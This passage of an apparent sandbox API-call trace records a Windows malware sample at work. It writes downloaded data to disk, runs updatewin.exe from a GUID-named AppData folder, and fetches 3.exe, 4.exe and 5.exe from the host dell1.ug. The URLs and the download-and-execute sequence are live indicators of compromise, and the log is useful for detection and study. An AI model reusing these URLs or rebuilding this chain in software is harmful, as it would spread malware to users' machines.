lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0054.198] WriteFile (in: hFile=0x6dc, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0054.198] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0054.199] WriteFile (in: hFile=0x6dc, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0054.199] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0054.250] WriteFile (in: hFile=0x6dc, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0054.251] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0054.252] WriteFile (in: hFile=0x6dc, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0054.252] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0054.253] WriteFile (in: hFile=0x6dc, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0054.254] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0054.254] WriteFile (in: hFile=0x6dc, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0054.254] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0054.255] WriteFile (in: hFile=0x6dc, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0054.255] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0054.255] WriteFile (in: hFile=0x6dc, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0054.256] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0054.278] WriteFile (in: hFile=0x6dc, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0054.278] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0054.279] WriteFile (in: hFile=0x6dc, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0054.279] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0054.279] WriteFile (in: hFile=0x6dc, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0054.280] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0054.305] WriteFile (in: hFile=0x6dc, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0054.305] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0054.306] WriteFile (in: hFile=0x6dc, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0054.307] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0054.308] WriteFile (in: hFile=0x6dc, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0054.308] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0054.309] WriteFile (in: hFile=0x6dc, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0054.309] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0054.310] WriteFile (in: hFile=0x6dc, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0054.310] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0054.310] WriteFile (in: hFile=0x6dc, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0054.310] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0054.334] WriteFile (in: hFile=0x6dc, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0054.334] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0054.335] WriteFile (in: hFile=0x6dc, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0054.335] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0054.336] WriteFile (in: hFile=0x6dc, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0054.337] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0054.337] WriteFile (in: hFile=0x6dc, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0054.337] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x1e00) returned 1 [0054.338] WriteFile (in: hFile=0x6dc, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x1e00, lpOverlapped=0x0) returned 1 [0054.338] CloseHandle (hObject=0x6dc) returned 1 [0054.341] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0054.346] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0054.346] ShellExecuteA (hwnd=0x0, lpOperation=0x0, lpFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\\updatewin.exe", lpParameters=0x0, lpDirectory=0x0, nShowCmd=1) returned 0x2a [0054.400] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cb20 | out: hHeap=0x5d0000) returned 1 [0054.400] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eea8 | out: hHeap=0x5d0000) returned 1 [0054.400] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31787b0 | out: hHeap=0x5d0000) returned 1 [0054.400] InternetOpenA (lpszAgent="Microsoft Internet Explorer", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0054.400] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3182ba8 [0054.400] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x84e) returned 0x32476f0 [0054.400] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3182ba8, cbMultiByte=-1, lpWideCharStr=0x32476f0, cchWideChar=1063 | out: lpWideCharStr="http://dell1.ug/files/penelop/3.exe") returned 36 [0054.400] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x850) returned 0x3247f78 [0054.400] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0054.400] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3182ba8 | out: hHeap=0x5d0000) returned 1 [0054.400] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x850) returned 0x32476f0 [0054.400] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x827) returned 0x329eb30 [0054.400] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://dell1.ug/files/penelop/3.exe", cchWideChar=-1, lpMultiByteStr=0x329eb30, cbMultiByte=2087, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://dell1.ug/files/penelop/3.exe", lpUsedDefaultChar=0x0) returned 36 [0054.400] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3248800 [0054.400] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x329eb30 | out: hHeap=0x5d0000) returned 1 [0054.400] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0054.400] InternetOpenUrlA (hInternet=0xcc0004, lpszUrl="http://dell1.ug/files/penelop/3.exe", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0054.601] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3248800 | out: hHeap=0x5d0000) returned 1 [0054.601] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x9b5d6d0, lpdwBufferLength=0x9b5d710, lpdwIndex=0x0 | out: lpBuffer=0x9b5d6d0*, lpdwBufferLength=0x9b5d710*=0x4, lpdwIndex=0x0) returned 1 [0054.602] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0054.602] InternetOpenA (lpszAgent="Microsoft Internet Explorer", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0010 [0054.602] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3182dd8 [0054.602] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x84e) returned 0x3247f78 [0054.602] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3182dd8, cbMultiByte=-1, lpWideCharStr=0x3247f78, cchWideChar=1063 | out: lpWideCharStr="http://dell1.ug/files/penelop/4.exe") returned 36 [0054.602] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x850) returned 0x3248800 [0054.602] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0054.602] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3182dd8 | out: hHeap=0x5d0000) returned 1 [0054.602] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x850) returned 0x3247f78 [0054.602] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x827) returned 0x31787b0 [0054.602] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://dell1.ug/files/penelop/4.exe", cchWideChar=-1, lpMultiByteStr=0x31787b0, cbMultiByte=2087, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://dell1.ug/files/penelop/4.exe", lpUsedDefaultChar=0x0) returned 36 [0054.602] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0054.602] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31787b0 | out: hHeap=0x5d0000) returned 1 [0054.602] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0054.602] InternetOpenUrlA (hInternet=0xcc0010, lpszUrl="http://dell1.ug/files/penelop/4.exe", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc0018 [0054.779] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0054.779] HttpQueryInfoW (in: hRequest=0xcc0018, dwInfoLevel=0x20000013, lpBuffer=0x9b5d6d0, lpdwBufferLength=0x9b5d710, lpdwIndex=0x0 | out: lpBuffer=0x9b5d6d0*, lpdwBufferLength=0x9b5d710*=0x4, lpdwIndex=0x0) returned 1 [0054.779] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3248800 | out: hHeap=0x5d0000) returned 1 [0054.779] InternetOpenA (lpszAgent="Microsoft Internet Explorer", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc001c [0054.779] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3182e48 [0054.779] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x84e) returned 0x3248800 [0054.779] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3182e48, cbMultiByte=-1, lpWideCharStr=0x3248800, cchWideChar=1063 | out: lpWideCharStr="http://dell1.ug/files/penelop/5.exe") returned 36 [0054.779] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x850) returned 0x32476f0 [0054.779] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3248800 | out: hHeap=0x5d0000) returned 1 [0054.779] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3182e48 | out: hHeap=0x5d0000) returned 1 [0054.779] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x850) returned 0x3248800 [0054.780] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x827) returned 0x329cf20 [0054.780] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://dell1.ug/files/penelop/5.exe", cchWideChar=-1, lpMultiByteStr=0x329cf20, cbMultiByte=2087, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://dell1.ug/files/penelop/5.exe", lpUsedDefaultChar=0x0) returned 36 [0054.780] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0054.780] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x329cf20 | out: hHeap=0x5d0000) returned 1 [0054.780] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3248800 | out: hHeap=0x5d0000) returned 1 [0054.780] InternetOpenUrlA (hInternet=0xcc001c, lpszUrl="http://dell1.ug/files/penelop/5.exe", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc0024 [0054.958] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0054.958] HttpQueryInfoW (in: hRequest=0xcc0024, dwInfoLevel=0x20000013, lpBuffer=0x9b5d6d0, lpdwBufferLength=0x9b5d710, lpdwIndex=0x0 | out: lpBuffer=0x9b5d6d0*, lpdwBufferLength=0x9b5d710*=0x4, lpdwIndex=0x0) returned 1 [0054.958] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3182ef0 [0054.958] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3182ef0 | out: hHeap=0x5d0000) returned 1 [0054.958] lstrcpyA (in: lpString1=0x3177758, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9" [0054.958] PathAppendA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9", pMore="5.exe" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\\5.exe") returned 1 [0054.958] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cb20 [0054.958] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\\5.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\\5.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6dc [0054.959] SetFilePointer (in: hFile=0x6dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0054.959] InternetReadFile (in: hFile=0xcc0024, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0055.012] WriteFile (in: hFile=0x6dc, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0055.013] InternetReadFile (in: hFile=0xcc0024, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0055.066] WriteFile (in: hFile=0x6dc, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0055.067] InternetReadFile (in: hFile=0xcc0024, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0055.067] WriteFile (in: hFile=0x6dc, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0055.067] InternetReadFile (in: hFile=0xcc0024, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0055.122] WriteFile (in: hFile=0x6dc, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0055.123] InternetReadFile (in: hFile=0xcc0024, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0055.124] WriteFile (in: hFile=0x6dc, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0055.124] InternetReadFile (in: hFile=0xcc0024, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0055.124] WriteFile (in: hFile=0x6dc, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0055.124] InternetReadFile (in: hFile=0xcc0024, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0055.125] WriteFile (in: hFile=0x6dc, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0055.125] InternetReadFile (in: hFile=0xcc0024, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0055.125] WriteFile (in: hFile=0x6dc, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0055.125] InternetReadFile (in: hFile=0xcc0024, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0055.176] WriteFile (in: hFile=0x6dc, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0055.176] InternetReadFile (in: hFile=0xcc0024, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0055.177] WriteFile (in: 